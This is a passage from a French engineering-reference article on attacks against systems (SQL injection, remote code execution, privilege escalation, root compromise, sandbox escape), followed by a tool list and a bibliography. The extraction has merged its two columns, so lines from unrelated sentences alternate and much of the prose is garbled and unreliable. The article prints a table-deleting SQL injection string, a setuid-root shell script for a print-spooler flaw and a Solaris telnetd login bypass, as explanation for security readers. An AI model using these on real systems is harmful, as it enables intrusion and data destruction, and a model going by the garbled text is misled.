en dire ici, car le déni de service consiste à placer la machine dans fournie en argument. Malheureusement pour ceux qui utilisent IIS,
un état qui ne lui permette pas d’assurer sa mission, quelle qu’elle des personnes malveillantes ont eu l’idée d’utiliser cette faiblesse et
soit. Ainsi, un serveur HTTP ne fonctionnerait plus, un routeur ne ses variantes au sein de vers dont l’un d’eux s’appelle Nimda.
routerait plus ou un commutateur n’assurerait plus le transit des
paquets entre les ports. 1.4.2.4 Injection de script
L’injection de script est la technique présentée en exemple au
1.4.2.2 Information leakage paragraphe 1.4.1.1 où le sujet du message est en fait un script.
La fuite d’informations (information leakage) signifie simplement 1.4.2.5 Cross site scripting
que des informations sont accessibles à des personnes non autori-
sées. Dans ce cas, le risque peut être insignifiant (l’intrus aurait la Contrairement aux conséquences que nous avons vues précé-
visibilité sur des informations sans importance), tout comme elle demment, l’injection de script nuit à l’utilisateur plutôt qu’au ser-
peut engendrer un risque majeur, si les informations visibles se veur. Ici, le serveur est en effet utilisé comme vecteur pour atteindre
trouvent être par exemple des données d’authentification, des infor- l’internaute. L’injection de script (XSS ou CSS : Cross Site Scripting)
mations sur des clients ou confidentielles. consiste à injecter un script (Javascript, VBscript, PHP...) dans un ser-
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 8 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 9
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
chose qui, par exemple, provoque l’affichage de la liste de bases de La fonction d’un programme d’impression sous Unix est de rece-
données dans le SGBDR (système de gestion de base de données voir les demandes d’impression et de les ranger dans une file
relationnelles) ou permette d’accéder ou de manipuler ces informa- d’attente jusqu’à ce que ce soit le tour du fichier d’être imprimé. De
tions. Bien sûr, cela demande une compétence en langage SQL, mais plus, le programme offre des options supplémentaires comme la
le pirate ne manque jamais de ressources pour atteindre son but. possibilité de définir des masques qui seront imprimés en début ou
Ainsi, un mot de passe qui deviendrait ' ;DELETE FROM fin d’impression, l’envoi d’un courriel une fois l’impression faite, etc.
table_utilisateurs WHERE nom_utilisateur='*' pourrait engendrer une Suite à une faiblesse de programmation présente dans les pro-
destruction de la table des utilisateurs. grammes de gestion des fonctions d’impression, et ce dans plu-
sieurs systèmes Unix (à ce jour corrigés par des patches ou des
1.4.2.7 Exécution de code malicieux à distance versions plus récentes), il est possible de lancer une commande en
tant qu’administrateur du système. Parmi les options disponibles à
Ce résultat, rencontré plus fréquemment sous son nom anglais l’utilisateur, l’une d’elles permet de définir un masque construit à
remote code execution, consiste en l’exécution d’un programme sur partir de l’exécution d’un programme. En usant adroitement des
le serveur attaqué. Nous en avons vu plusieurs exemples (§ 1.4.1.1, arguments régissant cette option, il est possible d’exécuter
§ 1.4.1.2, § 1.4.2.4, § 1.4.2.7 et § 1.4.2.10), en particulier le ver Nimda n’importe quel programme en tant qu’administrateur (root), y com-
qui s’était appuyé sur une faiblesse de programmation du serveur pris un programme créé par un utilisateur. Par conséquent, il est
Microsoft IIS pour se propager. Nous proposons ici de récapituler possible de construire le script ci-après et de le faire exécuter :
les deux principales variantes de ce type d’attaque :
— l’exécution non autorisée d’une commande du système attaqué ; # !/bin/sh
— l’exécution d’un code programme injecté (par un débordement cp /bin/sh /tmp
de tampon par exemple). chown root:root /tmp/sh
Dans le premier cas, le problème provient vraisemblablement chmod u+s /tmp/sh
d’une application mal conçue (un script HTTP trop confiant par
exemple) ou une page par défaut qui serait activée (telle que celles Une fois ce script exécuté, l’utilisateur trouve dans le répertoire /tmp
fournies au sein d’extensions de fonctions des serveurs HTTP une copie de l’interprète de commande avec les privilèges de l’utilisa-
comme ASP, PHP...). teur root, grâce à la présence du setuid (la commande chmod u+s). Il
Dans le second cas, il s’agit de l’exploitation d’une faiblesse de lui suffit de lancer cet interprète pour pouvoir exécuter n’importe
programmation, le débordement de pile, qui permet à un intrus quelle commande en tant qu’administrateur.
d’injecter dans la mémoire du serveur le code malicieux qu’il peut
ensuite exécuter avec les privilèges du programme attaqué. 1.4.2.10 Root compromise
Bien sûr, l’idéal pour le pirate reste tout de même de se trouver direc-
1.4.2.8 Outrepasser l’authentification tement en session sur le système attaqué en tant qu’administrateur,
c’est le résultat du root compromise. Même si ce nom a clairement une
Certaines vulnérabilités, telles que le débordement de tampon, consonance liée aux systèmes Unix, cette démarche est applicable à
peuvent engendrer la capacité de passer outre les mécanismes d’autres systèmes d’exploitation tels que Windows de Microsoft.
d’authentification sans qu’il soit nécessaire d’injecter un code mali-
cieux. Le meilleur exemple de cette situation est un vieux déborde- Ce type de résultat s’obtient en général par l’exploitation d’une
ment de pile sur le service réseau telnetd de Solaris. faiblesse de programmation (le débordement de pile) sur un proces-
sus qui écoute le réseau et qui fonctionne avec les privilèges de
Il suffit en effet de se connecter sur le service réseau et de taper l’administrateur système.
comme nom d’utilisateur bin\c\c\c\c... (\c étant saisi un grand nom-
bre de fois, mais n’excédant pas au total 240 caractères) pour se L’intrus qui réussit son attaque se retrouve alors directement en
trouver avec un interprète de commande de l’utilisateur bin. Qui session sur le système attaqué en tant qu’administrateur, et peut
plus est, cette vulnérabilité fonctionne également avec l’utilisateur donc exécuter n’importe quelle commande, créer des comptes d’uti-
root (l’administrateur sous Unix) si par malheur l’administrateur de lisateurs, etc.
la machine autorise celui-ci à faire directement une session telnet
dans le fichier /etc/default/login. 1.4.2.11 Sandbox escape
Le modèle de sécurité s’appuyant sur le concept de sandbox est
1.4.2.9 Escalade de privilèges assez simple. Il consiste à cadrer strictement l’exécution du pro-
gramme afin qu’il ne puisse pas effectuer d’opérations pouvant
Dans le paragraphe précédent (§ 1.4.2.8), nous avions un intrus nuire à l’utilisateur hébergeant le programme. Ainsi, les accès au
qui avait réussi à établir une session telnet en tant qu’utilisateur bin. système de fichiers, au réseau, etc., peuvent être limités ou tout sim-
Cet utilisateur n’a pas de privilèges suffisants et ne dispose donc pas plement interdits.
du pouvoir d’exécuter des ordres qui permettent d’altérer la confi-
guration du système, comme peut le faire l’administrateur. Il lui faut Le langage Java permet de créer des programmes qui s’exécutent
encore réussir à devenir administrateur pour véritablement prendre sur le navigateur de l’internaute après avoir été téléchargés. Ces
le contrôle du système. Grâce à des techniques d’escalade de privi- programmes portent le nom d’applets. Afin de limiter au maximum
lèges, il peut gagner des droits jusqu’à atteindre le but ultime du le risque de piratage évident dans une telle architecture, le modèle
pirate : être administrateur du système attaqué. Parmi ces droits de la sandbox a été utilisé. Ainsi, la sandbox Java doit protéger un
qu’il va essayer de gagner, on trouve la possibilité d’accéder à certain nombre de ressources en fonction de différents niveaux de
d’autres comptes utilisateurs, d’obtenir des droits particuliers sécurité. Par exemple, une applet téléchargée depuis le site X ne
comme celui de pouvoir lire n’importe quel fichier inhérent à l’opé- pourra effectuer de connexion réseau qu’avec ce site X et ne pourra
rateur en charge des sauvegardes, celui de voir tous les fichiers en pas accéder aux disques de l’ordinateur qui hébergent l’applet.
cours d’impression, ce qui est normalement réservé à l’administra- Lorsqu’une attaque débouche sur un échappement de la sandbox,
teur des imprimantes, etc. sandbox escape, cela signifie que le programme peut effectuer des
Pour atteindre ces nouveaux privilèges, l’intrus va disposer de la opérations qui devraient normalement lui être inaccessibles. Ainsi,
panoplie des faiblesses qui nous sont maintenant familières, mais dans le cadre d’une applet Java, cela peut conduire à l’accès aux
depuis l’intérieur du système auquel il a réussi à accéder. Afin données du disque, à la connexion sur un autre programme, etc.
d’illustrer ce propos, je prendrai une faiblesse de programmation du Il faut cependant noter qu’à ce jour, aucune vulnérabilité n’a per-
programme en charge des impressions. mis de s’échapper de la sandbox au point d’avoir le droit de faire
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 10 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
2. Caisse à outils
Nous connaissons maintenant la théorie des techniques d’attaque
qui sauront s’appuyer sur des faiblesses, quelles qu’elles soient. Mais
concrètement, comment procède une personne malveillante pour réa-
liser son ouvrage ? Cela pourrait s’avérer complexe au premier abord,
mais en réalité, la vulgarisation des outils et également leur organisa-
tion dans des packages, a permis une plus grande facilité de mise en
œuvre. Cela a provoqué l’apparition d’une nouvelle sorte de pirates
totalement inexpérimentés, les scripts kiddies, qui voient là l’occasion
d’enfreindre la loi sans risque (croient-ils) en allant attaquer des
machines sur Internet depuis leur accès xDSL ou modem.
À titre d’exemple, nous donnons ici la liste de quelques outils, dont Figure 7 – Interface de recherche de vulnérabilités de SecurityFocus
certains ont été utilisés dans les dossiers traitant des attaques
[H 5 830] [H 5 832] [H 5 833], mais également de bases de connaissan- ■ Vuln Dev : une autre liste existe chez SecurityFocus. Celle-ci traite
ces qui permettent de trouver rapidement quelles sont les vulnérabili- uniquement du développement d’exploits, donc de programmes qui
tés sur tel ou tel produit, service réseau ou système d’exploitation. permettent de démontrer la vulnérabilité.
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
© Techniques de l’Ingénieur H 5 833 − 11
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Bien sûr, dans le cas des réseaux sans fil, il faut un outil permettant
de détecter les points d’accès disponibles et si possible de casser les 3. Conclusion
protections qui empêchent l’accès. Citons les outils les plus pratiques.
■ Nmap : c’est la référence des outils de balayage de ports. Créé Avec ce troisième volet terminant la présentation des techniques
par Fyodor, non seulement il regroupe l’ensemble des techniques d’attaques, nous découvrons à quel point il est possible de nuire aux
connues, mais en plus il a lui-même apporté de nouvelles techni- réseaux informatiques et aux plates-formes qu’ils hébergent.
ques qui sont maintenant des références pour tous les outils,
mêmes commerciaux. Nous savions déjà qu’il était possible d’affecter gravement le
fonctionnement des réseaux ou des périphériques dédiés qu’ils
■ Firewalk : cet outil particulier est destiné à permettre le passage de contiennent (dossier [H 5 830] sur les attaques des réseaux). Nous
pare-feu. Il s’appuie sur le principe de la durée de vie des paquets. avions découvert qu’il était également possible d’affecter le com-
■ ike-scan : avec l’avènement des accès ExtraNet par tunnels IPsec, portement du protocole TCP/IP ou de l’utiliser pour trouver des fai-
il est bien évidemment apparu sa contrepartie chargée de détecter blesses des plates-formes présentes sur le réseau (dossier [H 5 832]
des passerelles IPsec. Cet outil, c’est ike-scan qui fonctionne en sur les attaques des systèmes).
envoyant des faux paquets destinés à révéler la présence, et la col- Nous savons maintenant que les applications, qu’elles soient
lecte d’informations complémentaires, de ces passerelles IPsec. dédiées à une fonction spécialisée comme un protocole de rou-
■ IWHAX/Knoppix : pour le test des points d’accès WiFi, IWHAX est tage sur un équipement réseau par exemple ou d’un spectre plus
la nouvelle référence. Il s’agit d’un CD démarrable directement (live large tel un serveur Web, contiennent toutes des faiblesses qui
CD), qui permet de se retrouver sous un Linux aménagé pour gérer peuvent être un jour découvertes et exploitées de manière à obte-
un maximum d’interfaces réseaux WiFi, et incluant tous les outils nir plus de privilèges, l’accès à des informations confidentielles
nécessaires pour la détection (Kismet) et le cassage de clés WEP ou ou la capacité d’atteindre des équipements normalement inacces-
WPA (aircrack, etc.). sibles du pirate.
Avec ce troisième volet, nous découvrons également l’importance
de l’application des correctifs des applications et systèmes d’exploi-
2.3 Outils destinés à viser les systèmes tation qui résolvent les vulnérabilités découvertes tous les jours.
d’exploitation Mais lorsque l’on prend du recul, on s’aperçoit que finalement, la
sécurité n’est pas un élément mais un ensemble d’éléments qui,
conjugués correctement dans des politiques de sécurité, standards,
Enfin, la dernière étape dans le test sécurité étant de connaître les procédures et architectures, fournit un niveau global de risque plus
vulnérabilités offertes au réseau par une plate-forme particulière, il acceptable, et surtout plus contrôlé et gérable pour l’entreprise.
existe également des outils spécialisés dans cette mission. Rappelons que dans une chaîne, la vulnérabilité est toujours au niveau
■ Nessus : le plus fameux des outils de tests de vulnérabilités est Nes- du maillon le plus faible. Il faut donc harmoniser tous ces éléments.
sus. Il est d’origine française. Nessus est d’autant plus intéressant qu’il Malheureusement, avec la vulgarisation des techniques de piratage
fonctionne en mode client-serveur, ce qui permet de le placer sur le et le manque de connaissance des parents sur ces nouvelles technolo-
réseau aux endroits les plus adaptés, comme dans une ferme opéra- gies, il existe de plus en plus de pirates qui, contrairement à ceux des
tionnelle, les scanners qui sont chargés d’évaluer la sécurité des plate- anciennes générations, sont loin de maîtriser ce qu’ils font, engen-
formes. Pour les entreprises frileuses à l’utilisation du logiciel gratuit, drant des conséquences bien plus graves que leurs aînés.
Nessus intègre la technologie Nmap et existe en version privée com-
mercialisée par l’entreprise TenableSecurity, qui est, elle, américaine. Enfin, il faut également garder à l’esprit que le moyen de voir
l’évolution de la sécurité d’une plate-forme reste le contrôle périodi-
■ GFI LanGuard : pour le monde Windows, il n’existe aucun outil que et la mise en place des corrections déduites de ce contrôle.
gratuit véritablement convivial à ma connaissance. J’utilise GFI Lan-
Guard qui est très complet et permet d’effectuer rapidement les Encore une fois, on constate que chacun, que ce soit un particulier
tests classiques de sécurité d’une plate-forme Windows. Cet outil ou un employé au sein d’une entreprise et quel que soit son niveau
peut être complété par Caïn & Abel, dont la spécialité est de « casser hiérarchique dans celle-ci, apporte sa contribution à l’immense édi-
du mot de passe Microsoft ». fice qui profite à tous qu’est la sécurité.
Toute reproduction sans autorisation du Centre français d’exploitation du droit de copie est strictement interdite.
H 5 833 − 12 © Techniques de l’Ingénieur
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
P
O
Parution : avril 2006 - Dernière validation : février 2020 - Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
U
Attaques des systèmes R
Prendre le contrôle du bastion E
par Laurent LEVIER N
Certified Information Systems Security Professional (CISSP)
Certified Information Security Manager (CISM)
Officier de sécurité du réseau interne, Equant Télécommunications
S
A
V
Bibliographie
O
Requests for Comments (RFC) Articles http://www.sans.org/resources/idfaq/
PLUMMER (D.C.). – Ethernet Address Resolution
Protocol : Or converting network protocol
« Hobbit ». – The FTP Bounce Attack. juill. 1995.
http://www.insecure.org/nmap/
icmp_misuse.php
FADIA (A.). – ICMP : A Mammoth Description.
I
addresses to 48.bit Ethernet address for trans-
mission on Ethernet hardware. RFC 826, IETF,
nov. 1982.
hobbit.ftpbounce.txt
« Fyodor ». – Remote OS detection via TCP/IP Stack
Fingerprinting. Oct. 1998.
Oct. 2001.
http://www.hackers-black-book.com/nuke/
tutorials/ICMP-Guide.txt
R
Internet Protocol. RFC 791, IETF, sept. 1981. http://www.insecure.org/nmap/ ARKIN (O.). – ICMP Usage in Scanning. v.3.0,
nmap-fingerprinting-article.txt juill. 2001.
Transmission Control Protocol. RFC 793, IETF, « f0bic ». – Examining Advanced Remote OS Detec- http://www.sys-security.com/
sept. 1981.
BRADEN (R.). – Requirements for Internet Hosts –
tion Methods/Concepts using Perl. Fév. 2001.
http://www.packetnexus.com/
index.php?page=icmp
BERDET (J.). – Remote SMTP Server Detection.
P
kb/greyarts/docs/981766898:16776.html Sept. 2002.
Communication
oct. 1989.
Layers. RFC 1122, IETF,
KLAUS (C.). – Stealth Scanning Bypassing
Firewalls/SATAN Detectors. Déc. 1995.
http://www.greyhats.org/outils/smtpscan/
remote_smtp _detect.pdf
L
BRADLEY (T.) et BROWN (C.). – Inverse Address
Resolution Protocol. RFC 1293, IETF, janv. 1992.
JOHNS (M.St.). – Identification Protocol. RFC 1413,
http://web.textfiles.com/hacking/passivep.txt
SPITZNER (L.). – Know Your Enemy : Passive Fin-
Dans les Techniques de l’Ingénieur
LEVIER (L.). – Attaques des réseaux. [H 5 830],
U
gerprinting. Mars 2002.
IETF, fév. 1993.
GARRETT (J.), HAGAN (J.) et WONG (J.). – Directed
http://www.honeynet.org/papers/finger
http://www.net-security.org/dl/articles/
Sécurité des systèmes d’information (2005).
LEVIER (L.). – Attaques des systèmes. Identifier les
faiblesses du bastion. [H 5 832], Sécurité des
S
ARP. RFC 1433, IETF, mars 1993. honeynet/Passive_Fingerprinting.html
systèmes d’information (2005).
FIELDING (R.), GETTYS (J.), MOGUL (J.), FRYSTYK GLASER (T.). – TCP/IP Stack Fingerprinting Princi-
ples. Oct. 2000. LAURENT-MAKNAVICIUS (M.). – Pare-feu.
(H.), MASINTER (L.), LEACH (P.) et BER-
http://www.sans.org/resources/ [TE 7 550], Sécurité des systèmes d’information
NERS-LEE (T.). – Hypertext Transfer Protocol –
idfaq/tcp_fingerprinting.php (2004).
HTTP/1.1. RFC 2616, IETF, juin 1999.
SEIFRIED (K.). – Passive OS Detection and Source TESSEREAU (C.). – Protocoles SSL/TLS. [H 5 230],
BAKER (F.). – Requirements for IP Version 4 Routers. Sécurité des systèmes d’information (2005).
Ports. Sept. 2001.
RFC 1812, IETF, juin 1995. http://www.seifried.org/security/ LAURENT-MAKNAVICIUS (M.). – IPsec. [TE 7 545],
network/20011009-passive-os-detection.html Sécurité des systèmes d’information (2003).
Ouvrages
COWAN (C.). – RE : Preventing remote OS detec- FOUQUE (P.-A.). – Cryptographie appliquée.
COMER (D.). – TCP/IP : Architecture, protocoles et tion. Fév. 1999. [H 5 210], Sécurité des systèmes d’information
applications. Dunod/01 Informatique (2001). http://www.security-express.com/archives/ (2003).
McCLURE (S.), SCAMBRAY (J.) et KURTZ (G.). – bugtraq/1999_1/0890.html
Hacking Exposed. McGraw-Hill/Osborne Media TAN (K.). – How can attacker use ICMP for
Revue
(2000). reconnaissance ? Phrack http://www.phrack.org
Bugtraq
http://www.securityfocus.com/archive/1
Vuln Dev
http://www.securityfocus.com/archive/82
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
U Sites Internet
R SecurityFocus Packet Storm Security
http://www.securityfocus.com http://www.packetstormsecurity.org
Secunia
http://secunia.com
E
N Outils
(liste non exhaustive)
KeePass IWHAX
http://keepass.sourceforge.net http://www.iwhax.net
S OpenSSH
http://www.openssh.com
Nessus
http://www.nessus.org
A Nmap
http://www.insecure.org/nmap
GFI LanGuard
http://www.gfi.com/languard
Firewalk Caïn & Abel
V http://www.packetfactory.net/projects/firewalk
ike-scan
http://www.oxid.it/cain.html
Java Platform
O http://www.nta-monitor.com/ike-scan http://java.sun.com/security
I Organisme
R Internet Engineering Task Force (IETF)
http://www.ietf.org
P
L
U
S
tiwekacontentpdf_h5833 v1 Ce document a ete delivre pour le compte de 7200047303 - one ctre sciences et tech electr // nc DOCUMENTATION ET INFORMATION // 105.158.58.16
GAGNEZ DU TEMPS ET SÉCURISEZ VOS PROJETS
EN UTILISANT UNE SOURCE ACTUALISÉE ET FIABLE
RÉDIGÉE ET VALIDÉE MISE À JOUR 100 % COMPATIBLE SERVICES INCLUS
PAR DES EXPERTS PERMANENTE SUR TOUS SUPPORTS DANS CHAQUE OFFRE
NUMÉRIQUES
www.techniques-ingenieur.fr
CONTACT : Tél. : + 33 (0)1 53 35 20 20 - Fax : +33 (0)1 53 26 79 18 - E-mail : infos.clients@teching.com
LES AVANTAGES ET SERVICES
compris dans les offres Techniques de l’Ingénieur
ACCÈS
SERVICES ET OUTILS PRATIQUES
Archives Impression à la demande Alertes actualisations
Technologies anciennes et versions Commandez les éditions papier Recevez par email toutes les nouveautés
antérieures des articles de vos ressources documentaires de vos ressources documentaires
*Questions aux experts est un service réservé aux entreprises, non proposé dans les offres écoles, universités ou pour tout autre organisme de formation.
www.techniques-ingenieur.fr
CONTACT : Tél. : + 33 (0)1 53 35 20 20 - Fax : +33 (0)1 53 26 79 18 - E-mail : infos.clients@teching.com